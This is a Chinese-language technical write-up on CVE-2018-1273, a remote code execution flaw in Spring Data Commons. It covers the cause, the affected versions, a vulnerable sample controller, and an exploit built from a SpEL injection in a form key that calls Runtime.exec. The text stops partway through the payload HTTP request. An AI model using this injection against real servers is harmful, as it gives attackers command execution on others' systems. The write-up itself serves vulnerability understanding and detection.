前言
CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞,为了了解更多细节,本文将从漏洞的成因,漏洞的判定以及漏洞的利用三个方面来进行详细说明。
漏洞的成因
当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容,而这一步就是本次漏洞的爆发点。
漏洞的判定
确认目标项目中含有Spring-data-commons包并且版本范围如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启
1.@EnableSpringDataWebSupport 被显示声明
2.@EnableSpringDataWebSupport 没有显示声明,但采用了spring-boot框架的自动扫描特性 当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同
3.在非注解声明项目中,如果有如下声明,也视为开启了相关的特性
检查带@RequestMapping的接口,方法的参数为一个自定义的接口(Interface)
满足如上条件的靶子代码如下
@SpringBootApplication
public class App {
public static void main(String[] args) {
SpringApplication.run(App.class);
}
@Controller
public class TestController {
@RequestMapping("test")
public void CVEController(TestForm testForm){
System.out.println(testForm.getName());
}
}
interface TestForm {
String getName();
}
}
漏洞的使用
根据上述判定出来的漏洞点,我们可以构造如下代码
1.构建一个Http的Post请求2.利用form表单提交的方式来提交我们的key value3.在key的名称中包含此次攻击代码4.提交的key为上文的 getName() 方法的 name5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]
最终playload如下
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Conte